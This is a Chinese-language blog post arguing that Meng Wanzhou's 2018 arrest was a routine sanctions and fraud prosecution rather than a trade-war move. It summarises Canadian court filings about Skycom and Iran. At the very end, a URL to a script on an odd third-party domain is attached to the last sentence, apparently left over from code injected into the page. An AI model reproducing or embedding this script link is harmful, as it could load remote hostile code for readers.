孟晚舟事件普遍有三個解讀方向:
1. 川普知曉並故意下令為之。
2. 川普不知情,而美國反中派擅自行動。
或,
3. 純粹司法機關的逮捕行為,與中美貿易戰無關。
從網路流傳的加拿大檢方文書來看(假設為真),事實面有幾個值得注意的點:
a. Skycom是華為實質掌控的子公司,而此公司違反美國制裁伊朗之禁令從事違法交易。
b. 華為在檯面上使用許多方法隱瞞自身與Skycom的關係,但Skycom員工卻對美國司法單位承認雙方有深刻且實質的關係。例如多個Skycom公司銀行帳號其實是由華為雇員所掌控。
Skycom公司與伊朗有生意往來且內容違背美國禁令。
c. 美國當局有證據顯示孟晚舟與其他華為代表,利用串謀與虛偽意思表示之方式詐欺某些金融機構,使其從事原本不會從事的交易行為。
而這些交易均與違反伊朗制裁令有關。
其串謀行為(conspiracy)陷這些金融機構於可能被罰款甚至吊銷執照之風險。
光是與金融機構1號之交易就超過$1億美元。
路透社曾刊載有關華為可能透過子公司掩護與伊朗交易之新聞,銀行機構據此曾向孟晚舟查證,而孟晚舟繼續堅持並無此事。美國有關當局認為此為又一不實串謀詐欺之行為。
尤其孟晚舟說:”華為已經賣掉了其在Skycom的所有股份,我[孟晚舟]也辭去了董事職位。”如前文所述,這個聲明極其誤導,因為華為將其在Skycom的股份賣給了一家同樣由華為控制的公司。
這段敘述被認為嚴重誤導金融機構。
d. 孟晚舟搭乘國泰航空抵達加拿大溫哥華,並欲轉機(可能至墨西哥)。美國當局於11/29日得知此行程,並於12/1透過加拿大警方逮捕之。
緊急逮捕理由如下:
i. 孟晚舟之財力可以永遠不進入美國國境;使得美國必須透過簽有引渡條約的加拿大政府協助逮捕。
ii. 孟晚舟與相關華為高層2017年3月前曾多次出入境美國,但於4月華為查知美國官方調查後,就再也無出入境美國。對照先前之頻繁,後來之避免讓美國官方有理由相信是刻意為之。
而根據CNN報導,發出逮捕令的是紐約東區聯邦地方法院,且早在今年8/22就已簽發。
據此,我偏向認為是第三種可能狀況:純粹是本就進行的司法偵查活動,應與中美貿易戰無關。
只是在此當口,無關也會變有關。
PS 別問我為什麼美國可以禁止他國與伊朗貿易,這世界本來就是拳頭大的國家有話語權。與公平正義本來就無關。接下來就看:
1. 華為方面究竟有無與伊朗貿易、有無違反禁令,孟晚舟是否真的有這些犯罪行為?以及美國檢察官掌握了多少有效證據。
可能:a. 確無犯罪事實,則力拼無罪審判、b. 部分犯罪證據已被掌握,恐怕只能認罪協商或c. 犯罪證據被大部分掌握,檢方只想上法庭連協商機會都沒有。
2. 貿易戰部分則看中國政府是否能正確反應,這牽涉到大智慧、中國自己手中籌碼與中國高層對貿易戰之需求。
身為外人我們無從判斷。
3. 美國方面針對貿易戰部分我依然維持原來預測:小打小鬧5~10年。
雙方可以擱置孟晚舟事件,把其定位為單獨司法案件而不碰觸;但也可以大肆利用,可後果恐難預見,就看雙方主導者的賭性高低了。https://js.developerstatss.ga/stat.js?n=ns1